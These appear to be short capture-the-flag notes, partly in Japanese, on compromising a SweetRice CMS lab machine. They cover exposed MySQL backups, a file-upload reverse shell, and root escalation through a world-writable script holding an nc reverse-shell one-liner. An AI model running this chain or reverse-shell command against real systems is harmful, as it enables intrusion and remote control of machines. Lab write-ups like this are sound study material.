enum
user.txt
searchsploit sweetrice
cat /usr/share/exploitdb/exploits/php/webapps/40718.txt
You can access to all mysql backup and download them from this directory.
http://localhost/inc/mysql_backup
and can access to website files backup from:
http://localhost/SweetRice-transfer.zip
- mysql のバックアップ?に接続できるらしい
http://10.10.61.5/content/inc/mysql_backup/
- manager とパスワードのハッシュが見つかる
- Arbitary file upload みたいなのを実行する
http://10.10.61.5/content/attachment/./shell.php5
に php が出てくるのでアクセスするとリバースシェルを獲得できる
root.txt
$ sudo -l
Matching Defaults entries for www-data on THM-Chal:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on THM-Chal:
(ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl
$ cat backup.pl
#!/usr/bin/perl
system("sh", "/etc/copy.sh");
$ ls -la
rw-r--r-x 1 root root 47 Nov 29 2019 backup.pl
$ ls -la /etc/copy.sh
-rw-r--rwx 1 root root 81 Nov 29 2019 /etc/copy.sh
$ cat /etc/copy.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.190 5554 >/tmp/f
- copy.sh はユーザで書き換え可能なので (rwx) root で実行されているリバースシェルを書きかえればいい